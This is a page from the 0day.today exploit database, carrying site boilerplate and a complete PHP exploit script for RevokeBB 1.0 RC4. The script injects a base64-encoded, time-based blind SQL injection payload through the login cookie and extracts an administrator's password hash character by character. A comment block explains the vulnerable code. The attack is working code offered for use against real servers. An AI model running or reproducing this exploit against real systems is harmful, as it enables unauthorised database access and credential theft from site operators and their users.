0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
RevokeBB <= 1.0 RC4 Blind SQL Injection / Hash Retrieve Exploit
=============================================================== RevokeBB <= 1.0 RC4 Blind SQL Injection / Hash Retrieve Exploit =============================================================== #!/usr/bin/php -q -d short_open_tag=on <? echo " ------------------------------------------------------------- RevokeBB <= 1.0 RC4 Blind SQL Injection / Hash Retrieve Exploit Site: http://www.revokesoft.net ------------------------------------------------------------- "; if ($argc<5) { echo " Usage: php ".$argv[0]." Host Path UserName PrefiX Host: target server (ip/hostname) Path: path of revbb UserName: a valid username PrefiX: the table prefix (usually revokebb_) Example: php ".$argv[0]." localhost /revbb/ admin revokebb_ "; die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } /* Vuln Explanation: This board is very cool, and before founding this bug I was sure to use it for my forum.. Vulnerable code can be found at inc\class_users.php, line 94: if(!$_SESSION['auth'] && isset($_COOKIE['revokebb_user'])) { $temp_name = explode('%%',$_COOKIE['revokebb_user']); $temp_name[0] = base64_decode($temp_name[0]); <--- 1 $query = $this->db->execQuery( $this->db->sql_build('cookie_user_exists', array($temp_name[0], $temp_name[1] ) )); if($this->db->num_rows($query)==1) { $temp=$this->db->fetch_array($query); $this->login($temp_name[0], $temp_name[1], $sid, false, 0); <--- 2 } else setcookie('revokebb_user', '', time() - 3600); } With base64_decode we can easy bypass magic_quotes, and inject a very pretty username into the SQL statement, but unfotunatly, because of point 2 we could not complete bypass the login, this is the code: $username = htmlspecialchars($username, ENT_QUOTES); $password = htmlspecialchars($password, ENT_QUOTES); so what we could do is only a blind sql injection to bruteforce the hash of the admin.. --------------- | ATTENTION!! | --------------- in the various version the cookie name change, so edit it when doing the attack.. I must name my "friend" SpiderZ on this exploit, because his advisory with an EXTREMLY CRITICAL XSS in this board is the reason why I have analized this software to show him what a vuln is.. */ $host=$argv[1]; $path=$argv[2]; $uname=$argv[3]; $prefix=$argv[4]; $port=80; $proxy=""; if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $md5s[0]=0;//null $md5s=array_merge($md5s,range(48,57)); //numbers $md5s=array_merge($md5s,range(97,102));//a-f letters #print_r(array_values($md5s)); $j=1;$password=""; while (!strstr($password,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$md5s)) { $starttime=time(); $sql=base64_encode("69' UNION SELECT IF ((ASCII(SUBSTRING(".$prefix."users.user_password,".$j.",1))=".$i.") & 1, benchmark(200000000,CHAR(0)),0),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1 FROM ".$prefix."users WHERE ".$prefix."users.user_nick = '$uname'/*"); $packet ="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: rv_user=$sql%%hawk\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (eregi("The used SELECT statements have a different number of columns",$html)){echo $html; die("\nunknown query error...");} $endtime=time(); echo "endtime -> ".$endtime."\r\n"; $difftime=$endtime - $starttime; echo "difftime -> ".$difftime."\r\n"; if ($difftime > 7) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;} } if ($i==255) {die("Exploit failed...");} } $j++; } echo " $uname Hash is: $password"; # Coded With BH Fast Generator v0.1 ?> # 0day.today [2024-12-24] #